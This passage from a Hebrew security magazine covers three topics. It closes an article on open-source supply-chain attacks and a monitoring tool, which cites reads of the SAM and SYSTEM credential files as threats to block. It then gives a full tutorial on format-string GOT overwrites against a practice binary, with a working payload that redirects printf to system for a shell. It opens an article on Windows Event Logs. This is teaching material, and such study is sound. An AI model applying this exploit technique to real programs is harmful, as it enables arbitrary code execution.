‫החוקים בתוך הקוד עצמו‪ ,‬כותבים אותם בקובץ נפרד‪ ,‬בתצורה של ‪( Regex‬שיטה להכיל כמה אפשרויות‬
‫בשורה אחת או לא להכילן)‪ .‬יש אפשרות לכתוב את החוקים בצורת ‪ Whitelist‬או ‪( Blacklist‬כאשר‬
‫‪ Whitelist‬זה מה שאפשרי לעשות על המערכת‪ ,‬וכל מה שלא מוכל ברשימה יקפוץ‪ ,‬ו‪ Blacklist-‬זה שהכול‬
‫אפשרי חוץ ממה שיש ברשימה)‪.‬‬
‫בנוסף על כך‪ ,‬אפשרי "לנטר" על כל פעולה שניתן לבצע על קובץ במערכת הפעלה של ‪( Windows‬בעתיד‬
‫יהיה ניטור על מפתחות מערכת של ‪ ,)Windows Registry‬ועל תקשורת שנפתחת)‪ GuardCode .‬מסתמך על‬
‫מוצר של ‪ ,Microsoft‬ועל ‪ SDK‬של ‪ OpenProcmon‬מ‪ .Github-‬המוצר שהתבססתי עליו ביצירה של‬
‫‪ GuardCode‬הוא ‪ .Procmon‬המטרה של ‪ Procmon‬היא להראות למשתמש כל דבר שקורה במערכת של‬
‫‪ .Windows‬כלומר‪ ,‬כאשר תהליך עושה משהו לקובץ‪ ,‬או פותח תקשורת‪ Procmon,‬יתפוס זאת וכנ"ל לגבי‬
‫‪ .GuardCode‬בסופו של דבר ‪ GuardCode‬הוא ‪ Antivirus‬לתהליך ספציפי‪ ,‬עם חוקים שאתם כותבים‬
‫ובשליטה מלאה שלכם‪ .‬אם אתם רוצים עוד שליטה על הקוד שלכם אתם יכולים לכתוב בעצמכם את‬
‫ה"‪ "driver‬של ‪ .Procmon‬השימוש בשני הכלים מסייע לכם לבדוק ואף לחסום אנומליות בספרייה\מודול‬
‫שעלולות להיות זדוניות(בהתאם למה שאתם מגדירים)‪ .‬כגון‪ ,‬גישה לקבצי מערכת ‪ SAM‬ו‪ ,SYSTEM-‬שני‬
‫הקבצים הללו יכולים לספק לתוקף את הסיסמאות לכל המשתמשים במחשב שלכם‪.‬‬

‫‪47‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫סיכום‬
‫בסופו של דבר‪ ,‬פיתוח הוא מרכיב מרכזי בכל ארגון כיום‪ .‬אפילו הקיוסק השכונתי צריך פיתוח‪ ,‬בין אם זה‬
‫למ טרות פרסום ובין אם זה לשמירת היסטוריית עסקאות במסד נתונים‪ .‬המתקפות של קוד‬
‫פתוח רלוונטיות לעבודה של כל מפתח‪ ,‬מאחר וכמעט אין תוכנה שלא משתמשת בספרייה שנכתבה ע"י‬
‫אדם חיצוני שלא קשור לפיתוח‪ .‬כמובן שאני לא אומר שנפסיק להשתמש בספריות‪ ,‬כי בכל זאת‪ ,‬הן חלק‬
‫גדול מהפיתוח ותורמות לחיסכון בזמן‪ ,‬אבל חשוב לפקוח את העיניים‪.‬‬
‫חשוב לראות שלספרייה שמשתמשים בה יש תדמית טובה‪ ,‬לרוב אם הן בעלות הרבה הורדות וחשוב גם‬
‫להתעדכן מידי פעם על הספרייה‪ ,‬בין אם זה לראות עדכונים ובין אם התראות של אנשי אבטחה לגבי‬
‫חולשות (כאלה שהוטמעו בכוונה‪ ,‬וכאלה שנמצאו בטעות)‪ .‬אחרי הכל‪ ,‬כשמשתמשים בספרייה זדונית‪ ,‬ניתן‬
‫בטעות לפגוע בשרשרת אספקה של חברה אחרת מבלי לדעת‪.‬‬
‫לפי דעתי‪ ,‬זו האחריות גם של המפתח וגם של איש האבטחה וההגנה לשמור על המוצר שמוציאים ועל‬
‫תהליך הפיתוח‪ .‬לכן‪ ,‬איש האבטחה צריך לשים את המגננות המתאימות ולתחזקן וגם המפתח צריך לשים‬
‫עין על תוספות לא מוכרות בקוד‪ ,‬אפילו להגן על עצמו ולמצוא דרכים לבדוק את אבטחת הקוד שלו‪ ,‬בין אם‬
‫זה באמצעות פתרונות חינמיים או פתרונות בתשלום‪.‬‬
‫קישורים‬
‫‪‬‬ ‫‪https://github.com/noam242/GuardCode‬‬
‫‪‬‬ ‫‪https://github.com/yaakov123/hagana/‬‬
‫‪‬‬ ‫‪https://red-lili.info/‬‬
‫‪‬‬ ‫‪https://he.wikipedia.org/wiki/Log4Shell‬‬
‫‪‬‬ ‫‪https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-a-supply-chain-attack‬‬
‫‪‬‬ ‫‪https://www.techtarget.com/whatis/feature/SolarWinds-hack-explained-Everything-you-‬‬
‫‪need-to-know‬‬
‫‪‬‬ ‫‪https://lirantal.medium.com/malicious-modules-what-you-need-to-know-when-installing-‬‬
‫‪npm-packages-12b2f56d3685‬‬
‫‪‬‬ ‫‪https://www.mandiant.com/solarwinds-break-resource-center‬‬
‫‪‬‬ ‫‪https://snyk.io/blog/typosquatting-attacks/‬‬
‫‪‬‬ ‫‪https://www.npmjs.com/package/node-ipc‬‬

‫‪48‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪Overwriting the Global Offset Table‬‬
‫מאת דור גרסון‬
‫הקדמה‬
‫‪ GOT Overwrite‬הינה טכניקה פופולארית בתחום ה‪ Binary Exploitation-‬לשינוי או חטיפה (‪ )hijacking‬של‬

‫זרם הריצה של ‪ binaries‬במערכות ‪ .Unix‬במאמר נדבר על מה היא בכלל ה‪ ,Global Offset Table-‬איך‬
‫נראה מהלך השימוש בה וכיצד נוכל לנצל חולשת ‪ format string‬לשכתוב הטבלה ולהשגת ‪ .shell‬ניסיון עם‬
‫‪ gdb‬ו‪ pwntools-‬מומלץ להבנה טובה של המאמר‪.‬‬
‫פוסט‪-‬הקדמה‬
‫בעולם פיתח התוכנה‪ ,‬קיימים שני סוגים של קבצים הרצה בינארים‪ ,‬כאלה המקושרים סטאטית ( ‪statically‬‬
‫‪ )linked‬וכאלה המקושרים דינאמית (‪ .)linked dynamically‬בקצרה‪ ,‬קבצים מקושרים סטאטית מקומפלים‬
‫יחד עם כל הקוד הדרוש לריצה שלהם‪ ,‬כך שהם לא תלויים בספריות חיצוניות‪ .‬קבצים המקושרים דינאמית‬
‫(ברירת המחדל עבור מרבית הקומפיילרים)‪ ,‬מתבססים על ספריות חיצוניות המספקות את רוב‬
‫הפונקציונליות שלהם‪.‬‬
‫בזמן הקימפול‪ ,‬רק שמות הספריות מהוות חלק מהבינארי‪ ,‬ורק בזמן הריצה הספריות נטענות לזיכרון‪ .‬באופן‬
‫כללי יהיה עותק אחד בלבד של ספרייה בזיכרון כך שאם הספרייה כבר קיימת בזיכרון‪ ,‬ה‪ time load-‬יפחת‪.‬‬
‫בעצם‪ ,‬כש‪ binary-‬משתמש בפונקציה כמו ‪ printf‬כדי להדפיס משהו‪ ,‬בפועל המימוש של הפונקציה נמצא ב‪-‬‬
‫‪( System C Libary‬לרוב ‪ )libc.so.6‬ולא בבינארי עצמו‪ .‬בכדי לקרוא לפונקציות הללו התוכנית צריכה לדעת‬
‫את הכתובות שלהן‪ ,‬בעוד טכנית אפשרי לכתוב את הכתובות ישירות ל‪ ,raw binary-‬זה בעייתי ממספר‬
‫סיבות כשהמרכזיות שבהן‪:‬‬
‫‪ .1‬בכל פעם שהספרייה תשתנה‪/‬תתעדכן‪ ,‬יידרש לבנות מחדש כל בינארי במערכת שמשתמש באותה‬
‫ספריה‪ ,‬אולי זה מלהיב משתמשי ‪ Gentoo‬אבל לשאר מבינינו זה לא פרקטי‪.‬‬
‫‪ .0‬כחלק ממנגנון ‪ ASLR‬ספריות נטענות למיקום שונה בין ריצה לריצה (כתובת הבסיס משתנה) ‪ ,‬שימוש ב‪-‬‬
‫‪ hardcoded addresses‬יהפוך זאת לבלתי אפשרי‪.‬‬

‫‪49‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫לכן‪ ,‬נעשה שימוש בשיטה המאפשרת למצוא את כתובות הפונקציות בזמן הריצה של התוכנית‪ .‬מוכרת גם‬
‫כ‪ relocations-‬ומאפשרת ליצור קוד עצמאי שיכול לרוץ ללא תלות בכתובת אליה נטען בתהליך (‪Position‬‬
‫‪ .)Independent Code‬העבודה הזאת מבוצעת על ידי ה‪( dynamic linker-‬או ‪ .).ld-linux.so‬הלינקר הוא‬
‫הראשון לרוץ‪ ,‬לפני כל קוד שקיים בבינארי‪ .‬אבסטרקטי לחלוטין מהמשתמש על ידי הקרנל‪.‬‬
‫‪Relocations‬‬
‫במבט על קובץ ‪ ELF‬תגלו שיש כמות מכובדת של ‪ ,sections‬נתחיל בלדבר בקצרה על אילו שרלוונטים‬
‫לתהליך ה‪ Relocations-‬ולאחר מכן נראה איך נעשה בהם שימוש בפועל‪.‬‬
‫‪ - .got‬המערך‪/‬טבלה שתכיל מצביעים לפונקציות לאחר שה‪ dynamic linker-‬מוצא את הכתובות שלהן‬
‫בזמן הריצה‪ ,‬נובע מכך שמדובר בזיכרון ניתן לכתיבה‪ .‬קיצור ל‪.global offset table-‬‬
‫‪ - .plt‬טבלה לקריאה בלבד‪ ,‬מורכבת מ‪ stub-‬עבור כל פונקציה שהכתובת שלה לא ידועה בזמן הריצה‪ .‬ה‪-‬‬
‫‪( stub‬רוטינה קצרה) מחפש את הכתובת ב‪ ,.got.plt-‬ובהתאם או שקופץ לכתובת או שמפעיל רוטינה של ה‪-‬‬
‫‪ linker‬לחיפוש הכתובת (יקרה בפעם הראשונה שהפונקציה נקראת) קיצור ל‪Procedure Linkage Table-‬‬
‫‪ - .got.plt‬ה‪ GOT-‬עבור ה‪ ,plt-‬עבור כל פונקציה הנמצאת ב‪ plt-‬יכלול את הכתובת המתאימה (אחרי‬

‫שנכתבה על ידי ה‪ linker-‬בזמן הריצה) או כתובת חזרה אל ה‪( plt-‬ההוראה הבאה ב‪ )stub-‬שתוביל להרצת‬
‫הרוטינה של ה‪ linker-‬למציאת הכתובת‪ .‬בצורה הקלאסית ה‪ .got.plt-‬מהווה חלק מה‪.GOT-‬‬
‫‪ - .plt.got‬נראה שהם רצו כל קומבינציה של ‪ got‬ו‪ .plt-‬מבלי לחרוג יותר מדי מנושא המאמר‪ ,‬ה‪.plt-‬‬
‫בשימוש כאשר מתאפשר ‪( Lazy Binding‬חיפוש הכתובת עבור פונקציה מתבצע רק ברגע שהיא נקראת ולא‬
‫לפני כן)‪ .‬במידה ויש צורך בכתובת הפונקציה לפני כן יידרש ‪ Non Lazy Binding‬וקריאות לפונקציה יעברו‬
‫דרך ה‪ .plt.got-‬שבניגוד ל‪ stub-‬ב‪ ,plt-‬יכלול ‪ jmp‬אחד בלבד‪ ,‬רק אל ה‪( GOT-‬הכתובת כבר נמצאת‪ ,‬אין‬
‫צורך לדעת לחפש אותה)‪.‬‬

‫‪50‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫איך זה נראה בפועל‬
‫נפתח את ‪ gdb‬ונעשה ‪ disassemble‬ל‪ ,main-‬אפשר לראות שאכן מתבצעת קריאה ל‪ puts@plt-‬ולא אל‪-‬‬
‫‪ puts‬ישירות‪:‬‬
‫נבחן את ה‪ plt stub-‬עצמו ונראה שההוראה הראשונה היא ‪ jmp‬לכתובת מסוימת‪ ,‬על פי מה שלמדנו היא‬
‫צפויה להיות ב‪:.GOT-‬‬
‫נוודא זאת באמצעות ‪ objdump -R main‬שתציג לנו את ה‪ GOT entries-‬ונראה שהקפיצה היא אכן לשם‪:‬‬
‫נקרא את הערך השמור בכתובת המתאימה ב‪ GOT-‬כדי להבין את ה‪ flow-‬טוב יותר ונראה כי הערך הוא‬
‫פוינטר חזרה ל‪ ,plt-‬הגיוני‪ ,‬זו הפעם הראשונה בה הפונקציה נקראת ‪ .‬המשך ה‪ plt stub-‬יקרא ל‪dynamic -‬‬
‫‪ linker‬כדי למצוא את הכתובת של ‪:.puts‬‬

‫‪51‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫נציב ‪ breakpoint‬לאחר הקריאה ל‪ puts-‬כדי לבחון את הערכים מחדש‪ ,‬ונריץ‪:‬‬
‫אנחנו רואים שה‪ GOT-‬מצביע על כתובת אחרת הפעם‪ ,‬מחוץ לטווח הכתובות של ה‪:.plt-‬‬
‫נבדוק מהי הכתובת הזו ונראה שאכן הפעם ה‪ GOT-‬מצביע ל‪ puts‬המקורית‪ ,‬הכתובת נמצאה בזמן הריצה‪:‬‬

‫‪52‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪GOT Overwrite‬‬
‫אז הבנו שה‪ GOT-‬מהווה שומר מקום לכתובות הפונקציות בפועל‪ ,‬אם נוכל לשכתב ‪ entry‬של פונקציה נשיג‬
‫הרצת קוד ויכולת לשנות את ה‪ flow-‬של התוכנית‪ .‬השיטה שנשתמש בה במאמר תנצל חולשת ‪format‬‬
‫‪( strings‬חולשה שיש עליה מאמר בפני עצמו מאת רזיאל בקר)‪ ,‬אך בכל נדבר עליה בקצרה גם כאן‪.‬‬
‫‪Format strings vulnerability‬‬
‫מתוך ה‪ man-‬ש‪ printf-‬אנחנו רואים שהפרמטר הראשון שהיא מקבלת הוא ה‪ ,format specifier-‬משמש‬
‫כדי להדפיס ערכים מסוג מסוים‪ ,‬כלומר כדי להדפיס מחרוזת ב‪ ,C-‬השימוש ב‪ printf-‬אמור להראות ככה‪:‬‬
‫;)‪printf(“%s”,buffer‬‬
‫בעבור מרבית קבצי ההרצה‪ ,‬במיוחד כשמדובר ב‪ 32-‬ביט הפרמטר ל‪ printf-‬יועבר על המחסנית‪ ,‬ומשם‬
‫‪ printf‬תקרא אותו‪.‬‬
‫אז איפה הבעיה?‬

‫;)‪printf(buffer‬‬
‫מפתחים לא תמיד שמים דגש על ‪ ,secure coding‬וההבדל בין שתי השורות יכול להראות זניח עבורם‪ ,‬אז‬
‫למה להוסיף עוד ארגומנט?‬
‫כפי שראינו בעמוד ה‪ ,man-‬הפרמטר הראשון ש‪ printf-‬מקבלת הוא ה‪ .format specfier-‬למרות שההבדל‬
‫יכול להראות זניח‪ ,‬הקלט שלנו מועבר כארגומנט הראשון לפונקציה מה שמאפשר לנו ליצור ‪ mismatch‬בין‬
‫כמות ה‪ specifiers-‬אל כמות הארגומנטים שהועברו לפונקציה‪ printf .‬מוצאת את הארגומנטים שלה על‬
‫המחסנית ולכן כשנגדיר יותר ‪ specifiers‬מארגומנטים‪ ,‬ערכים נוספים מהמחסנית יודלפו‪.‬‬

‫‪53‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫איך זה מתקשר לשכתוב ה‪?GOT-‬‬
‫כאן נכנס הפורמט ‪ .%n‬על פי ההגדרה הוא מאפשר לנו לכתוב את מספר התווים שהודפסו אל כתובת‬
‫מסוימת‪:‬‬
‫בעצם קלט של ‪ AAAA%n‬יוביל לכתיבה של "‪ "4‬אל הארגומנט אליו ‪ %n‬מצביע‪ ,‬אבל איך נדע לאן ‪ %n‬מצביע‬
‫במחסנית? (איפה נצטרך למקם את הכתובת שנרצה לשכתב) ? נוכל להעזר ב‪ $-‬כדי להגדיר את האלמנט‬
‫הספציפי במחסנית אליו נרצה לכתוב‪ ,‬בשביל לגלות את האלמנט אליו נרצה לכתוב נצטרך להבין היכן הקלט‬
‫שלנו ממוקם על המחסנית‪ ,‬שכן הקלט שלנו יורכב מהכתובת שנרצה לשכתב‪.‬‬
‫‪%<pos>$n‬‬
‫כאשר ‪ pos‬הוא מספר האלמנט על המחסנית‪ ,‬נעבור אל המימוש‪.‬‬

‫‪54‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫קוד המקור‬
‫ללא ‪( ASLR‬גם אם היה ‪ enabled‬היינו יכולים לנצל את חולשת ה‪ Format String-‬ל‪:)Info Leak-‬‬
‫‪ Decompiling‬באמצעות ‪( Ghidra‬למען ההגינות)‪:‬‬
‫תוכנית פשוטה מאוד‪ ,‬מקבלת קלט אל ‪ buffer‬ומדפיסה את הקלט בלולאה אינסופית‪ ,‬החולשה קלה לזיהוי‬
‫בשורה ‪ 9‬בקוד מקור או ‪ 14‬ב‪ .ghidra-‬המטרה שלנו? לשכתב את הכתובת של ‪ printf‬אל הכתובת של‬
‫‪ system‬של ‪ libc‬כאשר ה‪ buffer-‬שנעביר יהיה‪ ,/bin/sh-‬ולהשיג‪ .Shell-‬אז בואו נתחיל!‬

‫‪55‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫כתיבת ה‪Exploit-‬‬
‫כפי שאמרנו נצטרך למצוא היכן ממוקם הקלט שלנו על המחסנית‪ ,‬כדי שנוכל להגדיר בעזרת ‪ $‬ו‪ %-‬לאן‬
‫נרצה לכתוב‪ .‬מכיוון שאנחנו שולטים בקלט‪ ,‬הוא יהווה את הכתובת של ה‪ entry-‬של ‪ printf‬ב‪( GOT-‬הרי‬
‫המטרה שלנו היא לגרום לקריאה של ‪ system‬ברגע ש‪ printf-‬נקראת)‪.‬‬
‫מציאת מיקום הקלט על המחסנית‬
‫נעשה זאת ידנית‪ ,‬בכל פעם נדפיס אלמנט מסוים על המחסנית בעזרת ‪ ,p‬עד שיודפס הייצוג של הקלט‬
‫שלנו‪:‬‬
‫[האלמנט הרביעי במחסנית (ייצוג של ‪ A‬באסקי הוא ‪ ,65‬או ‪ 41‬בבסיס ‪])16‬‬
‫מציאת כתובות רלוונטיות‬
‫ספציפית‪ ,‬נצטרך את הכתובת של ה‪ GOT entry-‬עבור ‪ printf‬ואת הכתובת של ‪ ,system‬אז נפתח שוב את‬
‫‪ .gdb‬נעשה ‪ disassemble‬ל‪ vuln-‬ונדפיס שוב את ה‪ plt stub-‬של ‪:printf‬‬

‫‪56‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫הכתובת שנרצה לשכתב היא ‪ .0x804c00c‬יש מספר דרכים למצוא את הכתובת של ‪ ,system‬כאן‬
‫השתמשתי ב‪ p system-‬ב‪:gdb-pwndbg-‬‬
‫חשוב לציין שהדרך הזו עלולה לעשות בעיות ויותר מכך‪ ,‬היא לא רלוונטית כשאנחנו עובדים מול שרת‬
‫מרוחק‪ ,‬גרסת ה‪ libc-‬עליו עלולה להיות שונה‪ ,‬השיטה הטובה יותר היא להשתמש בחולשת ה‪format-‬‬
‫‪ string‬כדי להדליף כתובת של פונקציה מ‪ libc-‬מהמחסנית‪ ,‬לחסר את האופסט של הפונקציה (מכתובת‬
‫הבסיס של ‪ )libc‬מהכתובת שהדלפנו (נקבל את כתובת הבסיס של ‪ )libc‬ולהוסיף את האופסט של ‪.system‬‬
‫נעבור על השיטה בקצרה‪:‬‬
‫ראשית‪ ,‬אנחנו צריכים להדליף ערכים מהמחסנית‪ ,‬אפשר לעשות זאת ידנית או בעזרת ה‪ fuzzer-‬הבא‬
‫שמדפיס את מאה האלמנטים הראשונים על המחסנית‪:‬‬
‫נריץ ונבחר באחד הערכים שנראה כמו כתובת ב‪ ,libc-‬נפתח ‪ pwndbg‬ונבדוק לאן הוא מצביע‪:‬‬

‫‪57‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ברגע שיש לנו כתובת‪ ,‬כל מה שאנחנו צריכים לעשות כדי להגיע ל‪ system-‬זה לחסר מהכתובת את ה‪offset-‬‬
‫של הפונקציה לכתובת הבסיס של ‪ libc‬ולהוסיף את ה‪ offset-‬של ‪ ,system‬כאמור הכתובת שנמצאה היא‪:‬‬
‫‪ .f7dc7040‬אבל איך נדע את האופסטים? לוקאלית נוכל למצוא אותם כך‪:‬‬
‫למקרה שאנחנו עובדים מול שרת מרוחק‪ ,‬נצטרך להבין מהי גרסת ה‪ libc-‬עליו‪ ,‬נהוג להשתמש ב‪Libc-‬‬
‫‪ database‬בשם ‪ ,Blukat‬להזין את הכתובת שהדלפנו לצד הסימבול הרלוונטי‪ .‬ברוב המקרים יוחזרו מספר‬
‫גרסאות אפשריות‪ ,‬לרוב האופסטים בינהן יהיו זהים‪( ,‬במקרה שלא נצטרך לנסות עד שנצליח ‪.)‬‬
‫מכשול‬
‫כשדיברנו על ‪ %n‬אמרנו כי הוא כותב את מספר התווים שהודפסו אל האלמנט אליו הוא מצביע‪ ,‬אנחנו‬
‫צריכים לכתוב את הכתובת ‪ ,f7dc7040‬זוהי כמות תווים עצומה להדפיס ל‪ ,stdout-‬יקח המון זמן‪ .‬לכן במקום‬
‫לכתוב ‪ long int‬בגודל ארבעה ‪ ,bytes‬נכתוב שני ‪ ,short ints‬כל אחד בגודל שני ‪ .bytes‬לשם כך נצטרך‬
‫להשתמש ב‪ specifier-‬אחר ‪.%hn‬‬
‫הרכבת ה‪payload-‬‬
‫אנחנו רוצים לכתוב ‪ 0xf7dc7040‬אל הכתובת ‪( 0x804c00c‬ה‪ entry-‬של ‪ printf‬ב‪ .).got-‬כפי שאמרנו נכתוב‬
‫שני ‪ ,short integers‬זה אומר‪:‬‬
‫)‪0x0804c00c+2=0x0804c00e(high order) >- 0xf7dc (63452‬‬ ‫‪‬‬
‫)‪0x0804c00c (low order bytes) >- 0x7040 (28736‬‬ ‫‪‬‬
‫נחשב את ה‪ padding-‬שנצטרך להוסיף‪ ,‬החישוב יהיה הערך שאנחנו רוצים לכתוב‪ ,‬פחות כמות התווים‬
‫שכבר הודפסו‪ .‬נתחיל מה‪( 28736-8 = 28728 :low order bytes-‬כתבנו כבר שתי כתובות‪ ,‬כל אחת בגודל‬
‫של ארבעה בתים)‪ .‬ובעבור ה‪ 28736( 63452-28736 = 34716 :high order bytes-‬התווים ששימשו עבור ה‪-‬‬
‫‪ .)low order bytes‬נחבר הכל יחד ונקבל את ה‪ payload-‬הבא‪:‬‬
‫‪\x0c\xc0\x04\x08\x0e\xc0\x04\x08%28728x%4$hn%34716x%5$hn‬‬
‫‪( \X0c\xc0\x04\x08‬או ‪ ,(0x0804c00c‬מצביע על ה‪low order bytes-‬‬ ‫‪‬‬
‫‪ \X0e\xc0\x04\x08‬או ‪ ,0x0804c00e‬מצביע על ה‪high order bytes-‬‬ ‫‪‬‬
‫(הפוכות מטעמי ‪)endianness‬‬
‫‪ - %28728x‬לכתיבת ‪ 28728‬בתים על ה‪.stdout-‬‬ ‫‪‬‬
‫‪ - %4$hn‬יכתוב ‪ )0x7040(8 + 28728‬לאלמנט הרביעי במחסנית(תחילת ה‪ payload-‬שלנו)‬ ‫‪‬‬
‫‪ - %34716x‬לכתיבת ‪ 34716‬בתים על ה‪stdout-‬‬ ‫‪‬‬
‫‪ - %5$hn‬יכתוב ‪ )0xf7dc( 34716 + 28728 + 8‬לאלמנט החמישי במחסנית )‪(high order‬‬ ‫‪‬‬

‫‪58‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫נריץ ידנית‪:‬‬
‫והשגנו ‪!shell‬‬
‫ה‪ exploit-‬שלנו (אפשר להתעלם מהחלק הראשון‪ template ,‬שאני משתמש בו כדי להחליף בקלות בין‬
‫הרצה לוקאלית למרוחקת‪ ,‬השתמשתי ב‪ pwnlib.fmtstr-‬בשביל אוטומציה‪ ,‬אך היינו יכולים להציב את‬
‫הערכים המתאימים שמצאנו ידנית)‪:‬‬

‫‪59‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
 Shell ‫ ושוב השגנו‬- ‫נריץ‬
!‫ניצחון‬
Overwriting the Global Offset Table

60 2023 ‫ ינואר‬,146 ‫גליון‬
‫‪RELRO‬‬
‫מאחר שה‪ GOT-‬ממוקמת במיקום ידוע מראש‪ ,‬כל תוכנית הכוללת חולשה שמאפשרת כתיבה של ‪ 4‬בתים‬
‫למקום כלשהו בזיכרון (דוגמת ‪ format string‬או ‪ int overflow‬שמוביל ל‪ ,)out-of-bounds write-‬פגיעה ל‪-‬‬
‫‪ ,arbitrary code execution‬בכדי להימנע מכך‪ ,‬צריך לוודא שה‪ dynamic linker-‬מוצא את הכתובות של כל‬
‫הפונקציות המקושרות דינאמית כבר בתחילת הריצה‪ ,‬ואז הופך את ה‪ GOT-‬לקריאה בלבד‪.‬‬
‫הפיתרון הזה נקרא ‪ ,RELRO‬קיצור ל‪ ,Relocation Read Only-‬ואפשר להשמיש אותו כאופציית קימפול‬
‫לתוכנית‪ .‬חשוב להבדיל בין ‪ Full RELRO‬אל‪ ,Partial RELRO-‬שכן ‪ Full RELRO‬הוא הפתרון שדיברנו עליו‬
‫עכשיו‪ ,‬אך ‪( Partial RELRO‬שזו האופציה הדיפולטית של ‪ )gcc‬כמעט ולא עושה הבדל מעבר ללהציב את ה‪-‬‬
‫‪ GOT‬לפני ה‪ bss-‬בזיכרון כדי למנוע‪ buffer overflows-‬על משתנים גלובאלים‪.‬‬
‫סיכום‬
‫למרות שכביכול קיים פתרון‪ ,‬ישנה עדיין כמות משמעותית של חבילות קוד שמקומפלות ומופצות ללא ‪full‬‬
‫‪ ,RELRO‬נוסף על כך קימפול עם‪ full RELRO-‬מוביל ל‪ loading overhead-‬לא תמיד טריוויאלי‪ ,‬ולכן גם בימים‬
‫אלו הטכניקה פופולארית ואנו רואים מימושים שלה‪.‬‬
‫‪whoami‬‬
‫דור גרסון‪ ,‬בן ‪ 19‬אוהב את תחומי ה‪ Binary Exploitation/Exploit-dev-‬ו‪ ,RE-‬ו‪-ctf-‬ים באופן כללי‪ ,‬לכל‬
‫שאלה מוזמנים לפנות אלי בלינקדאין‪:‬‬
‫‪https://www.linkedin.com/in/dor-gerson-b12782245‬‬
‫או במייל‪:‬‬
‫‪dor.gerson17@gmail.com‬‬

‫‪61‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מקורות מידע‬
:GOT & PLT

 https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-
libraries.html
 GOT and PLT for pwning. · System Overlord
:GDB-PWNDBG
 GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made
Easy
:GOT-Overwrite
 GOT Overwrite Using Format Strings · Nihaal Prasad (nihaal-prasad.github.io)
 GOT OVERWRITE. SPAWN SHELL USING SIMPLE GOT OVERWRITE | by AidenPearce369 |
InfoSec Write-ups (infosecwriteups.com)
:Format String Vulnerability

 Format String Vulnerabilities Explained | SecureCoding.com
:Fmtstr documantion
 pwnlib.fmtstr - Format string bug exploitation tools - pwntools 4.8.0 documentation
Overwriting the Global Offset Table

62 2023 ‫ ינואר‬,146 ‫גליון‬
‫תפיסות שגויות נפוצות לגבי ‪Windows Event Logs‬‬
‫מאת דניאל קויפמן‬
‫הקדמה‬
‫‪ Windows EventLog‬היא תת‪-‬מערכת מורכבת עם מספר רב של אירועי קצה‪ Windows Event Logs .‬יכולים‬
‫לתפוס מגוון רחב של פעילויות ולספק לנו תובנות יקרות בנושא המערכות והסביבות שלנו‪ .‬החלטתי לכתוב‬
‫את המאמר הזה כי באופן אישי לא מצאתי יותר מדי מקורות מידע שצוללים לעומק של הנושא הזה‪ ,‬ואין‬
‫ספק שאנשים שמתעסקים ב‪ IR-‬צריכים לדעת בדיוק למה הם נכנסים‪.‬‬
‫תפיסות שגויות נפוצות שאני נתקל בהן‪:‬‬

‫‪ EventID‬הוא ייחודי באופן גלובלי‬ ‫‪‬‬
‫‪ EventID‬ממופה באופן ישיר להודעות אירוע‬ ‫‪‬‬
‫כל מחרוזות האירוע משומשות בהודעת האירוע‬ ‫‪‬‬
‫כל המידע של הודעת האירוע נמצא במחרוזת התבנית‬ ‫‪‬‬
‫מחרוזות תבנית נשארות זהות‬ ‫‪‬‬
‫‪ XML‬של אירוע הוא ‪ XML1.0‬תקין‬ ‫‪‬‬
‫אלמנטים של מידע ב‪ XML-‬של אירוע הם יחודיים‬ ‫‪‬‬
‫‪ EventLogs‬ו‪ ETW-‬הם שווי ערך‬ ‫‪‬‬
‫הכנה ‪ -‬אלמנטים של אירוע ‪Windows‬‬
‫כאשר אנחנו רוצים לבדוק כל אירוע שקשור למחשבים‪ ,‬זה חשוב מאוד שנבין את המידע שזמין לנו ‪ -‬וכדי‬
‫להבין את המידע הזה‪ ,‬אנחנו קודם כל צריכים להבין את הפורמט שבו הוא מוצג‪ .‬ייתרון אחד של עבודה עם‬
‫‪ Windows Event Logs‬הוא שכל האירועים (שנאספים על המערכת עצמה‪ ,‬על תוכנה‪ ,‬או למטרות ביקורת)‬
‫מסודרים בצורה סטנדרטית כדי לגרום להם להיות קלים להבנה ככל שניתן‪.‬‬
‫תפיסות שגויות נפוצות לגבי‪Windows Event Logs‬‬

‫‪63‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫בואו ניקח מבט על האלמנטים המרכזיים שנמצאים באירוע‪:‬‬
‫שם‪/‬מפתח הרשומה ‪ - Log Name/Key‬המפתח מתייחס לסיווג של כל רכיב רישום‪ ,‬תוך ציון שם הלוג‬ ‫‪‬‬
‫שאליו ייכתבו אירועים מרכיבים אלו‪.‬‬
‫רמה ‪ - Level /‬האם האירוע נרשם רק עבור מטרת יידוע‪ ,‬או שאולי הוא מציין שגיאה קריטית? הרמה‬ ‫‪‬‬
‫של האירוע תגיד לנו מה היא החומרה של האירוע הנרשם‪ .‬רמות כוללות‪,warning ,error,critical :‬‬
‫‪.verbose ,information‬‬
‫תאריך ושעה ‪ - Date/Time /‬מתייחס לתאריך ולשעה של האירוע שנרשם‪ .‬אם היינו מתחברים למכונה‬ ‫‪‬‬
‫של ‪ Windows‬בשעה ‪ 12:23‬ביום שני‪ ,‬סביר מאוד שיש אירוע שנרשם שקשור לתאריך ולשעה האלו‪.‬‬
‫מקור ‪ - Source /‬זהו השם של הרכיב שייצר את האירוע הנרשם‪ .‬במקרים רבים‪ ,‬זה יהיה השם של‬ ‫‪‬‬
‫התוכנה או של התהליך שרשם את האירוע‪ .‬לדוגמה‪ ,‬אם האירוע קשור לכשל של בסיס נתונים על‬
‫המכונה‪ ,‬אז מקור האירוע עשוי להיות השם של האפליקציה שמפעילה את בסיס הנתונים הזה‪.‬‬
